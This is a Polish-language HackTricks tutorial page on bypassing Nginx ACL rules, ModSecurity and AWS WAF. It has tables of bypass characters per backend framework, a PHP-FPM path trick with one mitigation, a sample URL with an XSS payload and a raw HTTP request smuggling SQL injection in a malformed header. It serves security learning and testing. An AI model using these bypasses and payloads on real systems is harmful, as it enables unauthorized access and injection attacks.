7.1 KiB
Bypass zabezpieczeń Proxy / WAF
Nauka hakowania AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
Inne sposoby wsparcia HackTricks:
- Jeśli chcesz zobaczyć swoją firmę reklamowaną w HackTricks lub pobrać HackTricks w formacie PDF, sprawdź PLANY SUBSKRYPCYJNE!
- Kup oficjalne gadżety PEASS & HackTricks
- Odkryj Rodzinę PEASS, naszą kolekcję ekskluzywnych NFT
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @carlospolopm.
- Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do HackTricks i HackTricks Cloud na GitHubie.
{% embed url="https://websec.nl/" %}
Bypass reguł ACL Nginx za pomocą manipulacji ścieżką
Techniki z tej publikacji.
Przykład reguły Nginx:
location = /admin {
deny all;
}
location = /admin/ {
deny all;
}
NodeJS - Express
Wersja Nginx | Znaki Bypass Node.js |
---|---|
1.22.0 | \xA0 |
1.21.6 | \xA0 |
1.20.2 | \xA0 , \x09 , \x0C |
1.18.0 | \xA0 , \x09 , \x0C |
1.16.1 | \xA0 , \x09 , \x0C |
Flask
Wersja Nginx | Znaki Bypass Flask |
---|---|
1.22.0 | \x85 , \xA0 |
1.21.6 | \x85 , \xA0 |
1.20.2 | \x85 , \xA0 , \x1F , \x1E , \x1D , \x1C , \x0C , \x0B |
1.18.0 | \x85 , \xA0 , \x1F , \x1E , \x1D , \x1C , \x0C , \x0B |
1.16.1 | \x85 , \xA0 , \x1F , \x1E , \x1D , \x1C , \x0C , \x0B |
Spring Boot
Wersja Nginx | Znaki Bypass Spring Boot |
---|---|
1.22.0 | ; |
1.21.6 | ; |
1.20.2 | \x09 , ; |
1.18.0 | \x09 , ; |
1.16.1 | \x09 , ; |
PHP-FPM
Konfiguracja Nginx FPM:
location = /admin.php {
deny all;
}
location ~ \.php$ {
include snippets/fastcgi-php.conf;
fastcgi_pass unix:/run/php/php8.1-fpm.sock;
}
Nginx jest skonfigurowany tak, aby blokować dostęp do /admin.php
, ale można to obejść, uzyskując dostęp do /admin.php/index.php
.
Jak zapobiec
location ~* ^/admin {
deny all;
}
Ominięcie reguł Mod Security
Zagubienie ścieżki
W tym poście wyjaśniono, że ModSecurity v3 (do wersji 3.0.12) nieprawidłowo zaimplementował zmienną REQUEST_FILENAME
, która miała zawierać ścieżkę dostępu (do początku parametrów). Spowodowane to było dekodowaniem adresu URL w celu uzyskania ścieżki.
Dlatego też, żądanie takie jak http://example.com/foo%3f';alert(1);foo=
w mod security będzie zakładać, że ścieżką jest tylko /foo
, ponieważ %3f
jest zamieniane na ?
kończąc ścieżkę URL, ale faktyczna ścieżka, którą otrzyma serwer, będzie /foo%3f';alert(1);foo=
.
Zmienne REQUEST_BASENAME
i PATH_INFO
również były dotknięte tym błędem.
Coś podobnego miało miejsce w wersji 2 Mod Security, co pozwalało ominąć zabezpieczenie uniemożliwiające użytkownikowi dostęp do plików z określonymi rozszerzeniami związanymi z plikami kopii zapasowych (takimi jak .bak
) po prostu wysyłając zakodowany kropkę URL w %2e
, na przykład: https://example.com/backup%2ebak
.
Ominięcie AWS WAF ACL
Zniekształcony Nagłówek
W tej analizie wspomniano, że było możliwe ominięcie reguł AWS WAF stosowanych do nagłówków HTTP poprzez wysłanie "zniekształconego" nagłówka, który nie był poprawnie analizowany przez AWS, ale był przez serwer backendowy.
Na przykład, wysyłając następujące żądanie z wstrzyknięciem SQL w nagłówku X-Query:
GET / HTTP/1.1\r\n
Host: target.com\r\n
X-Query: Value\r\n
\t' or '1'='1' -- \r\n
Connection: close\r\n
\r\n
Było możliwe obejście AWS WAF, ponieważ nie rozumiał, że następna linia jest częścią wartości nagłówka, podczas gdy serwer NODEJS tak (to zostało naprawione).
Odnośniki
- https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies
- https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/
{% embed url="https://websec.nl/" %}
Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
Inne sposoby wsparcia HackTricks:
- Jeśli chcesz zobaczyć swoją firmę reklamowaną w HackTricks lub pobrać HackTricks w formacie PDF, sprawdź PLANY SUBSKRYPCYJNE!
- Zdobądź oficjalne gadżety PEASS & HackTricks
- Odkryj Rodzinę PEASS, naszą kolekcję ekskluzywnych NFT
- Dołącz do 💬 Grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @carlospolopm.
- Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do HackTricks i HackTricks Cloud na GitHubie.